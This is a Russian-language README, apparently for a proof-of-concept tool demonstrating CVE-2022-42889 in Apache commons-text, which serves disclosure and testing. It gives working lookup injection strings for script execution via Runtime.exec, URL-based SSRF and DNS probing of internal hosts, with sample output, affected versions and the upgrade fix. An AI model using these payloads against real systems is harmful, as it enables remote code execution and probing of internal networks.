
Доказательство концепции для уязвимости Apache commons-text CVE-2022-42889.
Это доказательство концепции для уязвимости CVE-2022-42889. Этот код выполнит JavaScript-код 195 + 324. Если уязвимость присутствует, вывод должен быть:
PoC Output: 519
Для запуска вам потребуется:
При запросе строки эксплойта вы можете либо ввести свою собственную строку эксплойта (и нажать Enter для ввода строки), либо просто нажать Enter, чтобы использовать строку эксплойта по умолчанию: ${script:javascript:195 + 324}.
Альтернативно вы можете использовать Docker для запуска этого PoC:
docker build -t poc .
docker run -it poc
Проблема возникает из-за того, что следующие ключи не должны интерполироваться по умолчанию (согласно документации https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):
scriptdnsurlЭтот поиск позволяет выполнять предоставленный JavaScript-код. В результате злоумышленник получает возможность выполнять произвольный код в системе.
${script:<engine>:<code>}
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}
Пример в PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================
Этот поиск вызывает указанный URL. Злоумышленник может использовать это для выполнения простых GET-запросов к внутренним ресурсам.
${url:<character-encoding>:<url>}
${url:UTF-8::https://internal-jenkins.companyx.net/}
Пример в PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================
Этот поиск выполняет DNS-запрос или обратный поиск. Это может позволить злоумышленнику идентифицировать внутренние ресурсы.
${dns:<address,canonical-name,name>|<host>}
${dns:address|internal-jenkins.companyx.net}
Пример в PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${dns:address|www.google.com}
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================
Однако из-за ошибки в логике эти 3 ключа интерполируются по умолчанию, хотя не должны (поскольку они могут представлять угрозу безопасности).
Злоумышленник, контролирующий строку, передаваемую в затронутый StringSubstitutor replace, может позволить злоумышленнику:
StringSubstitutorЧтобы ваш код был уязвим, необходимо:
Использовать версию Apache commons-text от 1.5.0 до (не включая) 1.10.0
Использовать интерполяцию для вашего StringSubstituion (см. https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)
Обратите внимание, что в JDK 15 и более поздних версиях JavaScript-движок Nashorn больше не включен. Однако движок JEXL все еще включен, и в результате RCE все еще возможен.
(спасибо rgmz за указание на это)
Исправление заключается в обновлении ваших экземпляров commons-text до версии 1.10.0 или более поздней.
Другие поиски по умолчанию все еще могут представлять угрозу безопасности (например, возможность чтения содержимого файлов, чтения системных свойств и т.д.). Используйте эту функцию с осторожностью и убедитесь, что все пользовательские данные должным образом очищены (например, пропущены через белый список).